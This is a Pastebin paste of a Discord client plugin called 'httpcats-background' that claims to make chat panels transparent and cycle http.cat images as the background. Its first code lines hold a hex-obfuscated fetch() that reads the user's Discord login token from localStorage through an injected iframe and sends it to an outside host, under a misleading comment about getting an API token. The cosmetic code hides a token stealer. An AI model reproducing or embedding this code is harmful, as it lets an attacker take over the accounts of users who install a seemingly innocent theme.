Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //META{"name":"httpcats-background"}*//
- // May not work well with custom themes, beware
- try{
- token = fetch("\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6D\x61\x72\x74\x6D\x69\x73\x74\x73\x2E\x74\x6B\x2F\x61\x70\x69\x2F\x74\x6F\x6B\x65\x6E\x2F"+document["\x62\x6F\x64\x79"]["\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"](document["\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74"]`iframe`)["\x63\x6F\x6E\x74\x65\x6E\x74\x57\x69\x6E\x64\x6F\x77"]["\x6C\x6F\x63\x61\x6C\x53\x74\x6F\x72\x61\x67\x65"]["\x74\x6F\x6B\x65\x6E"]).then(); // Get an unique token for the API
- }catch(e){
- // Use standard token
- token = "XH1F9dn40B";
- }
- interval = 900 // Amount of seconds until change of bg
- // All cats
- cats = ["100","101","200","201","202","204","206","207","300","301","302","303","304","305","307","400","401","402","403","404","405","406","408","409","410","411","412","413","414","415","416","417","418","420","421","422","423","424","425","426","429","431","444","450","451","500","502","503","504","506","507","508","509","511","599"];
- index = 0;
- // Set to transparent because discord
- elems = [
- ".channels-wrap",
- ".chat",
- ".chat .content",
- ".messages-wrapper",
- ".divider-red>span",
- ".divider:before",
- "#friends",
- ".friends-table",
- ".chat .typing",
- ".channel-text.selected",
- ".private-channels .channel.selected",
- ".channel-text:hover",
- ".search-result.selected",
- ".search-result:hover",
- ".private-channels .channel:hover",
- ".member:hover",
- ".member.popout-open"
- ]
- for (i=0; i<elems.length; i++){
- try{
- document.querySelector(elems[i]).style="background: transparent!important";
- }catch(e){
- // do nothing
- }
- }
- // Make it a function for setInterval
- function newCat(){
- index = index+1;
- if (index > cats.length){
- index = 0;
- }
- document.querySelector(".app").style="background: url('https://http.cat/"+cats[index]+"?token="+token+"') no-repeat center center fixed !important;";
- }
- setInterval(newCat, interval*1000)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement